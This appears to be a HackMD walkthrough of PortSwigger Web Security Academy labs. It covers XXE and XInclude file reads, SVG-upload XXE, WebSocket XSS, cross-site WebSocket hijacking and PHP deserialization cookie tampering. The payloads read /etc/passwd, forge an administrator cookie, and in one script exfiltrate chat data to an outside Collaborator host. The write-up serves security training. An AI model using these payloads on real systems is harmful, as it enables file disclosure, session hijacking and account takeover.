![image](https://hackmd.io/_uploads/H1H4nMpPT.png) <br> ### **[PRACTITIONER] Lab: Blind XXE with out-of-band interaction via XML parameter entities** ![image](https://hackmd.io/_uploads/Bk2Os4JTT.png) <br> Payload: `<!DOCTYPE test [<!ENTITY % test SYSTEM "https://5ekkoo5zy1xbnf7bs3oh1akmadg44ysn.oastify.com"> %test; ]>` ![image](https://hackmd.io/_uploads/rkPYo4JaT.png) <br> ![image](https://hackmd.io/_uploads/rkm9iEJa6.png) <br> ![image](https://hackmd.io/_uploads/H1mijN1a6.png) <br> ### **[PRACTITIONER] Lab: Exploiting XInclude to retrieve files** Capture `POST` request to check stock button, replace `productId` value with `<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo> ` ![image](https://hackmd.io/_uploads/By5g-rypT.png) <br> ![image](https://hackmd.io/_uploads/S1H--BJa6.png) <br> ![image](https://hackmd.io/_uploads/HykQ-S1Ta.png) <br> ### **[PRACTITIONER] Lab: Exploiting XXE via image file upload** Create a SVG as follow: `<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg> ` ![image](https://hackmd.io/_uploads/SkUy7BkTp.png) Click on random post, choose the `.svg` file we created earlier. <br> Go back to post's comment section, now content of file is in your avatar. ![image](https://hackmd.io/_uploads/SJKeNryTa.png) <br> ![image](https://hackmd.io/_uploads/Hy_mVr16T.png) <br> ## WebSockets [3/3] ### **[APPRENTICE] Lab: Manipulating WebSocket messages to exploit vulnerabilities** Intercept message. ![image](https://hackmd.io/_uploads/Hy-xiMEpT.png) <br> Edit message with `<img src=1 onerror='alert(1)'>`, click `Forward`. ![image](https://hackmd.io/_uploads/SkTQiG4aa.png) <br> ![image](https://hackmd.io/_uploads/HyDHoMNTa.png) <br> ### **[PRACTITIONER] Lab: Cross-site WebSocket hijacking** Exploit script: ```htmlembedded <script> var ws = new WebSocket('wss://0ade00510485f9e3836615940068004d.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https//d9nsjw07t9sjin2jnbjpwifu5lbez4nt.oastify.com, {method: 'POST', mode: 'no-cors', body: event.data}); }; </script> ``` To `Collaborator` tab, click `Poll now`. ![image](https://hackmd.io/_uploads/BJ9e0MVaT.png) Search for every chat, found the password. <br> ![image](https://hackmd.io/_uploads/Hkqz0zN6p.png) <br> ### **[PRACTITIONER] Lab: Manipulating the WebSocket handshake to exploit vulnerabilities** Use `X-Forwarded-For: 1.1.1.1` to spoof IP. ![image](https://hackmd.io/_uploads/S11Nl7NTa.png) <br> Obfuscate payload. ![image](https://hackmd.io/_uploads/H1NBxQEaa.png) <br> ![image](https://hackmd.io/_uploads/S1pBe74pa.png) <br> ## Insecure deserialization [/10] ### **[APPRENTICE] Lab: Modifying serialized objects** Login, decode cookie. ![image](https://hackmd.io/_uploads/rk287QN6T.png) <br> Change `b:0` to `b:1`, then encode cookie again. ![image](https://hackmd.io/_uploads/BJgfwmVaa.png) <br> Replace cookie. ![image](https://hackmd.io/_uploads/HyU4PXN6T.png) <br> ![image](https://hackmd.io/_uploads/r1XUPQVp6.png) <br> ### **[PRACTITIONER] Lab: Modifying serialized data types** Base64 decode existing cookie and modify as follow: `O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}` Then base64 encode again. New cookie: `Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9Cg%3d%3d`. Replace new cookie and reload page. ![image](https://hackmd.io/_uploads/HJPObr4Ta.png) <br> ![image](https://hackmd.io/_uploads/SJuFWSVTa.png) <br>